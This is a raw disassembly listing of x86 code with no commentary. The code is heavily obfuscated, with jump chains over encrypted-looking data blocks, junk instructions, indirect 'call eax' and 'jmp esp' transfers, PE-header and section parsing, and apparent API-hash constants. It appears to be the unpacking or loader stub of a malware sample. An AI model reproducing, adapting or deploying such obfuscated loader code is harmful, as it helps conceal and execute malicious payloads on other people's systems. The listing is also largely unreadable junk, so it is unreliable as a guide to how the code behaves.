		dd 0D09382CDh, 0FCEFCEC9h, 0E80BDA85h, 94E7A601h
; ---------------------------------------------------------------------------


loc_403A74:				; CODE XREF: .text:00403A49j
		jmp	short loc_403A4E
; ---------------------------------------------------------------------------
		dw 323Dh
		dd 7E390083h
; ---------------------------------------------------------------------------


loc_403A7C:				; CODE XREF: .text:loc_403A88j
		jmp	short loc_403AAB
; ---------------------------------------------------------------------------
		dw 2CDFh
		dd 18FB8AF5h, 0C4D75671h
; ---------------------------------------------------------------------------


loc_403A88:				; CODE XREF: .text:loc_403A4Ej
		jmp	short loc_403A7C
; ---------------------------------------------------------------------------
		dw 0E2ADh
		dd 2EA93073h, 3A655CCFh, 6E148EBh, 921DF4C7h, 0DE196063h
		dd 0EAD58CBFh, 0B65178DBh
		db 0B7h, 24h, 8Dh
; ---------------------------------------------------------------------------


loc_403AAB:				; CODE XREF: .text:loc_403A7Cj
		push	esi
		jmp	short loc_403AD8
; ---------------------------------------------------------------------------
		dw 0AF8Eh
; ---------------------------------------------------------------------------
		mov	esp, 0A8CB9A45h


loc_403AB5:				; CODE XREF: .text:loc_403AD8j
		jmp	short loc_403AE8
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah, 6D849716h
		dd 69F033A2h, 251C8FEEh, 0A108ABFAh
; ---------------------------------------------------------------------------


loc_403AD8:				; CODE XREF: .text:00403AACj
		jmp	short loc_403AB5
; ---------------------------------------------------------------------------
		mov	byte ptr [edi+2352DDB4h], 20h
		fstp	dword ptr [esi-556AB381h]
		wait


loc_403AE8:				; CODE XREF: .text:loc_403AB5j
		call	near ptr sub_401692
		jmp	short loc_403B1F
; ---------------------------------------------------------------------------
		db 4Dh
		dd 49501302h, 57C6F4Eh,	81688B5Ah, 0BD146726h, 0B98003B2h
		dd 75AC5FFEh, 0F1987B0Ah
; ---------------------------------------------------------------------------
		setalc
		push	edi


loc_403B0E:				; CODE XREF: .text:loc_403B1Fj
		jmp	short loc_403B3E
; ---------------------------------------------------------------------------
		dd 0F3622D44h, 4FAE29B0h, 6BBAE5DCh
		db 0C8h, 61h, 86h
; ---------------------------------------------------------------------------


loc_403B1F:				; CODE XREF: .text:00403AEDj
		jmp	short loc_403B0E
; ---------------------------------------------------------------------------
		db 47h,	74h, 9Dh
		db 12h,	0E3h, 0E0h
; ---------------------------------------------------------------------------


loc_403B27:				; CODE XREF: .text:loc_403B3Ej
		jmp	short loc_403B55
; ---------------------------------------------------------------------------
		cdq
		pop	esi
		aas
		or	al, 55h
		push	5Bh
		clc
		sal	dword ptr [esi], 1
		aaa
		movsb
		or	eax, 910D3C2h
		push	cs
		das
		cmp	al, 0C5h


loc_403B3E:				; CODE XREF: .text:loc_403B0Ej
		jmp	short loc_403B27
; ---------------------------------------------------------------------------
		dd 41284B1Ah, 7DD427E6h, 7940C372h, 356C1FBEh, 0B1583BCAh
; ---------------------------------------------------------------------------
		xchg	eax, esi


loc_403B55:				; CODE XREF: .text:loc_403B27j
		mov	edx, eax
		push	edx
		push	edi
		cmp	al, 0FEh
		push	edi
		pop	edi
		jnb	loc_403B6F
		neg	edx
		not	edx
		mov	edx, esi
		push	ecx
		pop	edx
		mov	di, 493Ch


loc_403B6F:				; CODE XREF: .text:00403B5Dj
		test	ecx, edx
		xor	edi, edi
		repne cld
		pop	edi
		pop	edx
		and	edx, 0FFFF0000h
		push	eax
		push	esi
		push	ecx
		pop	eax
		rcr	esi, 0A1h
		rol	esi, 48h
		cmp	cl, dl
		inc	esi
		cld
		pop	esi
		pop	eax
		call	eax
		push	ecx
		push	ebx
		test	ecx, eax
		mov	ebx, 8091DAh
		dec	ebx
		inc	ecx
		mov	ebx, eax
		rcr	ebx, 3Ch
		xor	ecx, ebp
		test	al, dh
		cmp	edi, ecx
		xchg	ebx, ecx
		cld
		cld
		pop	ebx
		pop	ecx
		cmp	eax, edx
		jz	loc_403C3B
		push	edi
		push	esi
		or	esi, 80A19Ah
		xchg	edi, edi
		js	loc_403BC4
		std


loc_403BC4:				; CODE XREF: .text:00403BBDj
		mov	edi, edx
		test	eax, ebx
		std
		shr	esi, 8
		cld
		pop	esi
		pop	edi
		sub	esp, 1000h
		push	edi
		push	eax
		test	cl, dl
		lea	eax, ds:8108DAh
		xchg	edi, edi
		dec	eax
		cld
		pop	eax
		pop	edi
		jmp	esp
; ---------------------------------------------------------------------------
		jmp	short loc_403C16
; ---------------------------------------------------------------------------
		and	[esi+7], eax


loc_403BEC:				; CODE XREF: .text:loc_403C16j
		jmp	short loc_403C2E
; ---------------------------------------------------------------------------
		dw 5D34h
		dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h,	0C9D09382h
		dd 85FCEFCEh, 1E80BDAh,	3D94E7A6h, 39008332h
		db 7Eh,	0DFh
; ---------------------------------------------------------------------------


loc_403C16:				; CODE XREF: .text:00403BE7j
		jmp	short loc_403BEC
; ---------------------------------------------------------------------------
		dd 0FB8AF52Ch, 0D7567118h, 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch
		db 48h,	0E1h
; ---------------------------------------------------------------------------


loc_403C2E:				; CODE XREF: .text:loc_403BECj
		jmp	loc_403DD8
; ---------------------------------------------------------------------------
		push	edi
		push	edx
		not	edx
		inc	edx
		cld
		pop	edx
		pop	edi


loc_403C3B:				; CODE XREF: .text:00403BADj
		push	0FB0730Ch
		push	ecx
		push	edi
		xchg	ecx, ecx
		neg	edi
		jns	loc_403C51
		xchg	ecx, edi
		std
		mov	edi, ecx


loc_403C51:				; CODE XREF: .text:00403C46j
		cld
		pop	edi
		pop	ecx
		push	esi
		jmp	short loc_403C82
; ---------------------------------------------------------------------------
		db 0EAh
		db 0DBh, 78h
; ---------------------------------------------------------------------------


loc_403C5A:				; CODE XREF: .text:loc_403C82j
		jmp	short loc_403C96
; ---------------------------------------------------------------------------
		push	ecx
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h
		dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h, 84971631h
		db 6Dh,	0A2h
; ---------------------------------------------------------------------------


loc_403C82:				; CODE XREF: .text:00403C55j
		jmp	short loc_403C5A
; ---------------------------------------------------------------------------
		dd 0EE69F033h
; ---------------------------------------------------------------------------


loc_403C88:				; CODE XREF: .text:loc_403C96j
		jmp	short loc_403CB9
; ---------------------------------------------------------------------------
		dw 1C8Fh
		dd 8ABFA25h, 0B487C6A1h
		db 0DDh, 52h
; ---------------------------------------------------------------------------


loc_403C96:				; CODE XREF: .text:loc_403C5Aj
		jmp	short loc_403C88
; ---------------------------------------------------------------------------
		dd 9ED92023h
		db 7Fh
; ---------------------------------------------------------------------------


loc_403C9D:				; CODE XREF: .text:loc_403CB9j
		jmp	short loc_403CCC
; ---------------------------------------------------------------------------
		db 4Ch
		dd 389BAA95h, 0E4777611h, 5013024Dh, 7C6F4E49h,	688B5A05h
		dd 14672681h
		db 0BDh
; ---------------------------------------------------------------------------


loc_403CB9:				; CODE XREF: .text:loc_403C88j
		jmp	short loc_403C9D
; ---------------------------------------------------------------------------
		db 0B2h
		dd 0FEB98003h, 0A75AC5Fh, 0D6F1987Bh, 622D4457h
; ---------------------------------------------------------------------------


loc_403CCC:				; CODE XREF: .text:loc_403C9Dj
		call	near ptr sub_401692
		jmp	short loc_403CFE
; ---------------------------------------------------------------------------
		db 0C8h
		db 61h,	86h
; ---------------------------------------------------------------------------


loc_403CD6:				; CODE XREF: .text:loc_403CFEj
		jmp	short loc_403D0E
; ---------------------------------------------------------------------------
		dd 129D7447h, 5E99E0E3h, 6A550C3Fh, 36D1F85Bh, 0C20DA437h
		dd 0E0910D3h, 1AC53C2Fh, 0E641284Bh, 727DD427h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		inc	eax


loc_403CFE:				; CODE XREF: .text:00403CD1j
		jmp	short loc_403CD6
; ---------------------------------------------------------------------------
		dd 6C1FBE79h
		db 35h,	0CAh, 3Bh
; ---------------------------------------------------------------------------


loc_403D07:				; CODE XREF: .text:loc_403D0Ej
		jmp	short loc_403D35
; ---------------------------------------------------------------------------
		db 58h,	0B1h, 96h
		db 17h,	4
; ---------------------------------------------------------------------------


loc_403D0E:				; CODE XREF: .text:loc_403CD6j
		jmp	short loc_403D07
; ---------------------------------------------------------------------------


loc_403D10:				; CODE XREF: .text:loc_403D35j
		jmp	short loc_403D45
; ---------------------------------------------------------------------------
		dw 22EDh
		dd 6EE970B3h, 7AA59C0Fh, 4621882Bh, 0D25D3407h,	1E59A0A3h
		dd 2A15CCFFh, 0F691B81Bh, 82CD64F7h
; ---------------------------------------------------------------------------
		xchg	eax, ebx


loc_403D35:				; CODE XREF: .text:loc_403D07j
		jmp	short loc_403D10
; ---------------------------------------------------------------------------
		db 0D0h
		dd 0FCEFCEC9h, 0E80BDA85h, 94E7A601h
		db 3Dh
; ---------------------------------------------------------------------------


loc_403D45:				; CODE XREF: .text:loc_403D10j
		add	eax, 5
		push	ecx
		push	ebx
		xchg	ecx, ecx
		inc	ecx
		cmp	edx, esp
		cmp	eax, edi
		ror	ecx, 0A8h
		cmp	al, 0D1h
		xor	ecx, ebp
		mov	ebx, edi
		neg	ecx
		xor	ebx, ecx
		cmp	al, 0D1h
		stc
		cld
		pop	ebx
		pop	ecx
		call	eax
		jmp	short loc_403D92
; ---------------------------------------------------------------------------
		db 18h
; ---------------------------------------------------------------------------


loc_403D69:				; CODE XREF: .text:loc_403D92j
		jmp	short loc_403DA9
; ---------------------------------------------------------------------------
		db 71h
		dd 0ADC4D756h, 0A93073E2h, 655CCF2Eh, 0E148EB3Ah, 1DF4C706h
		dd 19606392h, 0D58CBFDEh, 5178DBEAh, 8D24B7B6h
; ---------------------------------------------------------------------------
		inc	edx
		push	ebx


loc_403D92:				; CODE XREF: .text:00403D66j
		jmp	short loc_403D69
; ---------------------------------------------------------------------------
		db 90h
		db 89h,	8Eh, 0AFh
		db 0BCh, 45h
; ---------------------------------------------------------------------------


loc_403D9A:				; CODE XREF: .text:loc_403DA9j
		jmp	short loc_403DC8
; ---------------------------------------------------------------------------
		dd 0C1A8CB9Ah, 0FD54A766h, 0F9C043F2h
		db 3Eh
; ---------------------------------------------------------------------------


loc_403DA9:				; CODE XREF: .text:loc_403D69j
		jmp	short loc_403D9A
; ---------------------------------------------------------------------------


loc_403DAB:				; CODE XREF: .text:loc_403DC8j
		jmp	short loc_403DD8
; ---------------------------------------------------------------------------
		db 9Fh,	0ECh, 0B5h
; ---------------------------------------------------------------------------
		dec	edx
		mov	ebx, 971631D8h
		test	[ebp-5Eh], ch
		xor	esi, eax
		imul	ebp, esi, 0FA251C8Fh
		stosd
		or	[ecx-224B783Ah], ah


loc_403DC8:				; CODE XREF: .text:loc_403D9Aj
		jmp	short loc_403DAB
; ---------------------------------------------------------------------------
		push	edx
		and	esp, [eax]
		fstp	dword ptr [esi-556AB381h]
		wait
		cmp	[ecx], dl
		jbe	short loc_403E4F


loc_403DD8:				; CODE XREF: .text:loc_403C2Ej
					; .text:loc_403DABj
		call	near ptr sub_403611
		push	ebx
		push	ecx
		xchg	ecx, ecx
		not	ebx
		dec	ecx
		mov	ebx, edi
		rcl	ebx, 9
		dec	ebx
		cld
		pop	ecx
		pop	ebx
		mov	ebp, eax
		jmp	short loc_403E04
; ---------------------------------------------------------------------------
		jl	short loc_403DF8
		pop	edx


loc_403DF4:				; CODE XREF: .text:loc_403E04j
		jmp	short loc_403E1F
; ---------------------------------------------------------------------------
		dw 688Bh
; ---------------------------------------------------------------------------


loc_403DF8:				; CODE XREF: .text:00403DF1j
		and	dword ptr [esi], 0B2BD1467h
		add	eax, [eax-53A00147h]


loc_403E04:				; CODE XREF: .text:00403DEFj
		jmp	short loc_403DF4
; ---------------------------------------------------------------------------
		dw 0A75h
		db 7Bh
; ---------------------------------------------------------------------------


loc_403E09:				; CODE XREF: .text:loc_403E1Fj
		jmp	short loc_403E3A
; ---------------------------------------------------------------------------
		cwde
		icebp
		setalc
		push	edi
		inc	esp
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st
		mov	edx, 8661C86Bh
		inc	edi


loc_403E1F:				; CODE XREF: .text:loc_403DF4j
		jmp	short loc_403E09
; ---------------------------------------------------------------------------
		db 74h,	9Dh, 12h
		dd 5E99E0E3h, 6A550C3Fh, 36D1F85Bh, 0C20DA437h,	0E0910D3h
		db 2Fh,	3Ch
; ---------------------------------------------------------------------------


loc_403E3A:				; CODE XREF: .text:loc_403E09j
		mov	edx, eax
		jmp	short loc_403E6B
; ---------------------------------------------------------------------------
		dw 7DD4h
		dd 7940C372h, 356C1FBEh, 0B1583BCAh
		db 96h,	17h, 4
; ---------------------------------------------------------------------------


loc_403E4F:				; CODE XREF: .text:00403DD6j
		in	eax, dx
; ---------------------------------------------------------------------------
		db 22h
; ---------------------------------------------------------------------------


loc_403E51:				; CODE XREF: .text:loc_403E6Bj
		jmp	short loc_403E7E
; ---------------------------------------------------------------------------
		db 0B3h
		dd 0F6EE970h, 2B7AA59Ch, 7462188h, 0A3D25D34h, 0FF1E59A0h
		db 0CCh
		db 15h,	2Ah
; ---------------------------------------------------------------------------


loc_403E6B:				; CODE XREF: .text:00403E3Cj
		jmp	short loc_403E51
; ---------------------------------------------------------------------------
		db 1Bh
; ---------------------------------------------------------------------------


loc_403E6E:				; CODE XREF: .text:loc_403E7Ej
		jmp	short loc_403E99
; ---------------------------------------------------------------------------
		dd 0F7F691B8h, 9382CD64h, 0EFCEC9D0h
		db 0FCh, 85h
; ---------------------------------------------------------------------------


loc_403E7E:				; CODE XREF: .text:loc_403E51j
		jmp	short loc_403E6E
; ---------------------------------------------------------------------------
		db 0DAh, 0Bh, 0E8h
; ---------------------------------------------------------------------------


loc_403E83:				; CODE XREF: .text:loc_403E99j
		jmp	short loc_403EAC
; ---------------------------------------------------------------------------
		db 1, 0A6h, 0E7h
		dd 83323D94h, 0DF7E3900h, 0FB8AF52Ch, 0D7567118h
		db 0C4h
; ---------------------------------------------------------------------------


loc_403E99:				; CODE XREF: .text:loc_403E6Ej
		jmp	short loc_403E83
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0A93073E2h, 655CCF2Eh, 0E148EB3Ah, 1DF4C706h
; ---------------------------------------------------------------------------


loc_403EAC:				; CODE XREF: .text:loc_403E83j
		mov	ebx, eax
		push	edi
		push	ecx
		shl	ecx, 48h
		cld
		pop	ecx
		pop	edi
		add	ebx, [ebx+3Ch]
		push	ecx
		push	ebx
		ror	ebx, 0F5h
		mov	bx, 4E52h
		not	ecx
		mov	ecx, edi
		cld
		pop	ebx
		pop	ecx
		add	ebx, 0F8h
		jmp	short loc_403EFF
; ---------------------------------------------------------------------------
		db 0EAh, 0DBh, 78h
		dd 24B7B651h
; ---------------------------------------------------------------------------


loc_403ED8:				; CODE XREF: .text:loc_403EFFj
		jmp	short loc_403F0F
; ---------------------------------------------------------------------------
		lea	eax, [edx+53h]
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
		dd 0F2FD54A7h, 3EF9C043h, 4AB5EC9Fh, 1631D8BBh,	0A26D8497h
		db 33h,	0F0h, 69h
; ---------------------------------------------------------------------------


loc_403EFF:				; CODE XREF: .text:00403ECFj
		jmp	short loc_403ED8
; ---------------------------------------------------------------------------
		db 0EEh, 8Fh, 1Ch
		dd 8ABFA25h, 0B487C6A1h
; ---------------------------------------------------------------------------
		fst	qword ptr [edx+23h]


loc_403F0F:				; CODE XREF: .text:loc_403ED8j
		xor	edi, edi
		push	ebx
		push	ecx
		mov	ecx, ebp
		rol	ebx, 36h
		rcl	ecx, 4Bh
		shl	ecx, 0F4h
		push	esi
		pop	ebx
		cmp	al, 0EDh
		cld
		pop	ecx
		pop	ebx


loc_403F25:				; CODE XREF: .text:0040420Ej
		push	ebx
		push	edi
		push	ecx
		xor	edi, ecx
		clc
		cld
		pop	ecx
		pop	edi
		lea	eax, [esp]
		push	edx
		push	ecx
		rol	ecx, 1Eh
		mov	edx, esi
		cmp	edx, esp
		add	ecx, 808CDAh
		mov	ecx, edi
		cld
		pop	ecx
		pop	edx
		push	eax
		jmp	short loc_403F72
; ---------------------------------------------------------------------------
		dd 8B5A057Ch
		db 68h,	81h, 26h
; ---------------------------------------------------------------------------


loc_403F4F:				; CODE XREF: .text:loc_403F72j
		jmp	short loc_403F82
; ---------------------------------------------------------------------------
		db 67h,	14h, 0BDh
		dd 0B98003B2h, 75AC5FFEh, 0F1987B0Ah, 2D4457D6h, 29B0F362h
		dd 0E5DC4FAEh, 61C86BBAh
		db 86h,	47h
; ---------------------------------------------------------------------------


loc_403F72:				; CODE XREF: .text:00403F46j
		jmp	short loc_403F4F
; ---------------------------------------------------------------------------
		db 74h,	9Dh, 12h
; ---------------------------------------------------------------------------


loc_403F77:				; CODE XREF: .text:loc_403F82j
		jmp	short loc_403FA9
; ---------------------------------------------------------------------------
		db 0E3h, 0E0h, 99h
; ---------------------------------------------------------------------------
		pop	esi
		aas
		or	al, 55h
		push	5Bh


loc_403F82:				; CODE XREF: .text:loc_403F4Fj
		jmp	short loc_403F77
; ---------------------------------------------------------------------------
		clc
		sal	dword ptr [esi], 1
		aaa


loc_403F88:				; CODE XREF: .text:loc_403FA9j
		jmp	short loc_403FB9
; ---------------------------------------------------------------------------
		dw 0DA4h
		dd 910D3C2h, 0C53C2F0Eh, 41284B1Ah, 7DD427E6h, 7940C372h
		dd 356C1FBEh, 0B1583BCAh
; ---------------------------------------------------------------------------
		xchg	eax, esi


loc_403FA9:				; CODE XREF: .text:loc_403F77j
		jmp	short loc_403F88
; ---------------------------------------------------------------------------
		db 17h
		dd 0B322ED04h, 0F6EE970h, 2B7AA59Ch
		db 88h
; ---------------------------------------------------------------------------


loc_403FB9:				; CODE XREF: .text:loc_403F88j
		cmp	edi, 2
		jz	loc_40403B
		push	edx
		push	ecx
		xchg	edx, ecx
		xchg	edx, ecx
		cmp	dl, al
		xor	ecx, esi
		cmp	dl, dh
		xchg	edx, ecx
		xor	ecx, ecx
		mov	edx, eax
		cmp	al, al
		stc
		cld
		pop	ecx
		pop	edx
		push	40h
		jmp	short loc_40400A
; ---------------------------------------------------------------------------
		dw 59A0h
		dd 15CCFF1Eh
		db 2Ah
; ---------------------------------------------------------------------------


loc_403FE5:				; CODE XREF: .text:loc_40400Aj
		jmp	short loc_40401A
; ---------------------------------------------------------------------------
		db 1Bh
		dd 0F7F691B8h, 9382CD64h, 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h
		dd 83323D94h, 0DF7E3900h, 0FB8AF52Ch
		db 18h,	71h
; ---------------------------------------------------------------------------


loc_40400A:				; CODE XREF: .text:00403FDCj
		jmp	short loc_403FE5
; ---------------------------------------------------------------------------
		dd 0ADC4D756h, 0A93073E2h, 655CCF2Eh
; ---------------------------------------------------------------------------
		cmp	ch, bl


loc_40401A:				; CODE XREF: .text:loc_403FE5j
		jmp	loc_404081
; ---------------------------------------------------------------------------
		push	edx
		push	eax
		jmp	$+5
		mov	eax, edx
		and	eax, 80A79Ah
		lea	eax, ds:80ABDAh
		push	ebx
		pop	eax
		push	edi
		pop	eax
		cld
		pop	eax
		pop	edx


loc_40403B:				; CODE XREF: .text:00403FBCj
		push	4
		jmp	short loc_40406E
; ---------------------------------------------------------------------------
		db 92h
		db 63h,	60h
; ---------------------------------------------------------------------------


loc_404042:				; CODE XREF: .text:loc_40406Ej
		jmp	short loc_404081
; ---------------------------------------------------------------------------


loc_404044:				; CODE XREF: .text:004040AAj
		sbb	esi, ebx
		mov	edi, 0DBEAD58Ch
		js	short loc_40409E
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h
		dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h
; ---------------------------------------------------------------------------
		xor	[esi], edx


loc_40406E:				; CODE XREF: .text:0040403Dj
		jmp	short loc_404042
; ---------------------------------------------------------------------------
		dd 0A26D8497h, 0EE69F033h, 0FA251C8Fh, 0C6A108ABh
		db 87h
; ---------------------------------------------------------------------------


loc_404081:				; CODE XREF: .text:loc_40401Aj
					; .text:loc_404042j
		push	dword ptr [ebx+8]
		jmp	short loc_4040B2
; ---------------------------------------------------------------------------
		xchg	eax, ebp
		stosb
		wait
		cmp	[ecx], dl
		jbe	short loc_404104


loc_40408D:				; CODE XREF: .text:loc_4040B2j
		jmp	short loc_4040C5
; ---------------------------------------------------------------------------
		db 0E4h
		dd 5013024Dh, 7C6F4E49h, 688B5A05h
		db 81h,	26h
; ---------------------------------------------------------------------------


loc_40409E:				; CODE XREF: .text:0040404Bj
		db	67h
		adc	al, 0BDh
		mov	dl, 3
		cmp	byte ptr [ecx+75AC5FFEh], 0Ah
		jnp	short loc_404044
		icebp
		setalc
		push	edi
		inc	esp
; ---------------------------------------------------------------------------
		db 2Dh,	62h
; ---------------------------------------------------------------------------


loc_4040B2:				; CODE XREF: .text:00404084j
		jmp	short loc_40408D
; ---------------------------------------------------------------------------
		db 0F3h, 0B0h
; ---------------------------------------------------------------------------


loc_4040B6:				; CODE XREF: .text:loc_4040C5j
		jmp	short loc_4040E4
; ---------------------------------------------------------------------------
		sub	[esi-451A23B1h], ebp
		imul	ecx, eax, 61h
		xchg	al, [edi+74h]
		popf


loc_4040C5:				; CODE XREF: .text:loc_40408Dj
		jmp	short loc_4040B6
; ---------------------------------------------------------------------------
		db 12h
		dd 5E99E0E3h, 6A550C3Fh, 36D1F85Bh, 0C20DA437h,	0E0910D3h
		dd 1AC53C2Fh, 0E641284Bh
; ---------------------------------------------------------------------------


loc_4040E4:				; CODE XREF: .text:loc_4040B6j
		push	dword ptr [ebx+0Ch]
		push	esi
		push	edx
		push	ebp
		pop	esi
		lea	edx, ds:80CB9Ah
		xchg	edx, edx
		inc	esi
		cld
		pop	edx
		pop	esi
		add	[esp], ebp
		jmp	short loc_404129
; ---------------------------------------------------------------------------
		db 0BEh, 1Fh, 6Ch
; ---------------------------------------------------------------------------


loc_4040FF:				; CODE XREF: .text:loc_404129j
		jmp	short loc_40413C
; ---------------------------------------------------------------------------
		db 35h,	0CAh, 3Bh
; ---------------------------------------------------------------------------


loc_404104:				; CODE XREF: .text:0040408Bj
		pop	eax
		mov	cl, 96h
		pop	ss
		add	al, 0EDh
		and	dh, [ebx+0F6EE970h]
		pushf
		movsd
		jp	short loc_40413F
		mov	[ecx], ah
		inc	esi
		pop	es
		xor	al, 5Dh
		shl	byte ptr [ebx-0E1A660h], cl
		int	3		; Trap to Debugger
		adc	eax, 91B81B2Ah	; CODE XREF: .text:00404144j
		div	bh
; ---------------------------------------------------------------------------
		db 64h
; ---------------------------------------------------------------------------


loc_404129:				; CODE XREF: .text:004040FAj
		jmp	short loc_4040FF
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------


loc_40412C:				; CODE XREF: .text:loc_40413Cj
		jmp	short loc_404157
; ---------------------------------------------------------------------------
		dw 9382h
		dd 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h
; ---------------------------------------------------------------------------


loc_40413C:				; CODE XREF: .text:loc_4040FFj
		jmp	short loc_40412C
; ---------------------------------------------------------------------------
		xchg	eax, esp


loc_40413F:				; CODE XREF: .text:00404112j
		cmp	eax, 39008332h
		jle	short near ptr loc_404121+4
		sub	al, 0F5h
		mov	bh, bl
		sbb	[ecx+56h], dh
		xlat
		les	ebp, [ebp-56CF8C1Eh]
		db	2Eh
		iret
; ---------------------------------------------------------------------------
		pop	esp


loc_404157:				; CODE XREF: .text:loc_40412Cj
		push	0A9DE6F5Ah
		push	esi
		push	edi
		mov	di, 4914h
		mov	si, 4A44h
		adc	esi, 80895Ah
		cld
		push	ebx
		pop	esi
		lea	esi, ds:808B9Ah
		cld
		pop	edi
		pop	esi
		push	esi
		push	eax
		push	edx
		test	cl, cl
		push	esp
		pop	edx
		xchg	edx, eax
		mov	ax, 48FDh
		xor	edx, eax
		xor	edx, ecx
		mov	edx, 808A5Ah
		cmp	al, 0E8h
		neg	edx
		cld
		pop	edx
		pop	eax
		call	near ptr sub_401692
		push	eax
		push	edi
		neg	edi
		xchg	edi, eax
		xor	eax, edx
		lea	eax, ds:80A7DAh
		std
		xor	eax, edi
		sbb	edi, 80A85Ah
		xor	edi, eax
		cld
		pop	edi
		pop	eax
		call	eax
		push	edi
		push	edx
		mov	edi, 80C8DAh
		inc	edx
		xor	edi, ecx
		mov	edi, 810ADCh
		mov	edi, 80E6DAh
		cmp	esp, edi
		xchg	edx, edi
		dec	edi
		cld
		pop	edx
		pop	edi
		add	esp, 4
		push	ecx
		push	edi
		xor	ecx, edx
		mov	ecx, edx
		lea	edi, ds:81115Ah
		mov	ecx, ecx
		mov	ecx, edi
		dec	ecx
		cld
		pop	edi
		pop	ecx
		inc	edi
		push	ecx
		push	ebx
		mov	ecx, 80891Ah
		test	ecx, eax
		test	eax, edi
		rcr	ebx, 86h
		not	ecx
		inc	ebx
		cld
		pop	ebx
		pop	ecx
		add	ebx, 28h
		push	edi
		push	ebx
		mov	edi, ebx
		dec	ebx
		cld
		pop	ebx
		pop	edi
		cmp	edi, 3
		jnz	loc_403F25
		push	esi
		push	ebx
		mov	si, 499Fh
		cmp	al, 0ECh
		dec	esi
		cld
		pop	ebx
		pop	esi
		push	ebx
		jmp	short loc_40424E
; ---------------------------------------------------------------------------
		db 0B6h
; ---------------------------------------------------------------------------
		mov	bh, 24h


loc_404226:				; CODE XREF: .text:loc_40424Ej
		jmp	short loc_404261
; ---------------------------------------------------------------------------


loc_404228:				; CODE XREF: .text:0040428Ej
		lea	eax, [edx+53h]
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h
		dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h, 84971631h
		dd 0F033A26Dh
		db 69h,	0EEh
; ---------------------------------------------------------------------------


loc_40424E:				; CODE XREF: .text:00404221j
		jmp	short loc_404226
; ---------------------------------------------------------------------------
		dd 0FA251C8Fh, 0C6A108ABh, 52DDB487h, 9ED92023h
		db 7Fh
; ---------------------------------------------------------------------------


loc_404261:				; CODE XREF: .text:loc_404226j
		lea	eax, [esp]
		push	edx
		push	ecx
		mov	cx, 4948h
		xchg	edx, ecx
		dec	edx
		cld
		pop	ecx
		pop	edx
		push	eax
		jmp	short loc_40429D
; ---------------------------------------------------------------------------
		db 2
		dd 4E495013h
		db 6Fh,	7Ch
; ---------------------------------------------------------------------------


loc_40427A:				; CODE XREF: .text:loc_40429Dj
		jmp	short loc_4042AE
; ---------------------------------------------------------------------------
		add	eax, 81688B5Ah
		db	26h, 67h
		adc	al, 0BDh
		mov	dl, 3
		cmp	byte ptr [ecx+75AC5FFEh], 0Ah
		jnp	short loc_404228
		icebp
		setalc
		push	edi
		inc	esp
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st


loc_40429D:				; CODE XREF: .text:00404271j
		jmp	short loc_40427A
; ---------------------------------------------------------------------------
		db 0BAh
; ---------------------------------------------------------------------------


loc_4042A0:				; CODE XREF: .text:loc_4042AEj
		jmp	short loc_4042D1
; ---------------------------------------------------------------------------
		dw 0C86Bh
		dd 74478661h, 0E0E3129Dh
; ---------------------------------------------------------------------------
		cdq
		pop	esi


loc_4042AE:				; CODE XREF: .text:loc_40427Aj
		jmp	short loc_4042A0
; ---------------------------------------------------------------------------
		aas
		or	al, 55h
		push	5Bh


loc_4042B5:				; CODE XREF: .text:loc_4042D1j
		jmp	short loc_4042E4
; ---------------------------------------------------------------------------
		db 0F8h
		dd 0A43736D1h, 10D3C20Dh, 3C2F0E09h, 284B1AC5h,	0D427E641h
		dd 40C3727Dh
		db 79h
; ---------------------------------------------------------------------------


loc_4042D1:				; CODE XREF: .text:loc_4042A0j
		jmp	short loc_4042B5
; ---------------------------------------------------------------------------
		db 0BEh
		dd 0CA356C1Fh, 96B1583Bh, 22ED0417h, 6EE970B3h
; ---------------------------------------------------------------------------


loc_4042E4:				; CODE XREF: .text:loc_4042B5j
		push	4
		jmp	short loc_4042F7
; ---------------------------------------------------------------------------
		db 7Ah,	2Bh, 88h
; ---------------------------------------------------------------------------


loc_4042EB:				; CODE XREF: .text:loc_4042F7j
		jmp	short loc_40431A
; ---------------------------------------------------------------------------
		db 21h,	46h, 7
		dd 0A3D25D34h
		db 0A0h, 59h, 1Eh
; ---------------------------------------------------------------------------


loc_4042F7:				; CODE XREF: .text:004042E6j
		jmp	short loc_4042EB
; ---------------------------------------------------------------------------
		db 0FFh, 0CCh, 15h
		dd 91B81B2Ah, 0CD64F7F6h, 0C9D09382h, 85FCEFCEh, 1E80BDAh
		dd 3D94E7A6h, 39008332h
		db 7Eh,	0DFh
; ---------------------------------------------------------------------------


loc_40431A:				; CODE XREF: .text:loc_4042EBj
		push	400h
		push	ebx
		push	esi
		rep ror	esi, 0CCh
		mov	esi, 80C85Ah
		mov	esi, edx
		lea	esi, ds:81BA9Ah
		neg	ebx
		xor	esi, edx
		neg	esi
		cld
		pop	esi
		pop	ebx
		push	ebp
		push	ebx
		push	esi
		xor	esi, ecx
		mov	ebx, 80A9DAh
		inc	esi
		cmp	al, 0DAh
		test	cl, ch
		cmp	al, 0D9h
		repne cld
		pop	esi
		pop	ebx
		push	0A9DE6F5Ah
		jmp	short loc_40436F
; ---------------------------------------------------------------------------
		xlat
		les	ebp, [ebp-56CF8C1Eh]


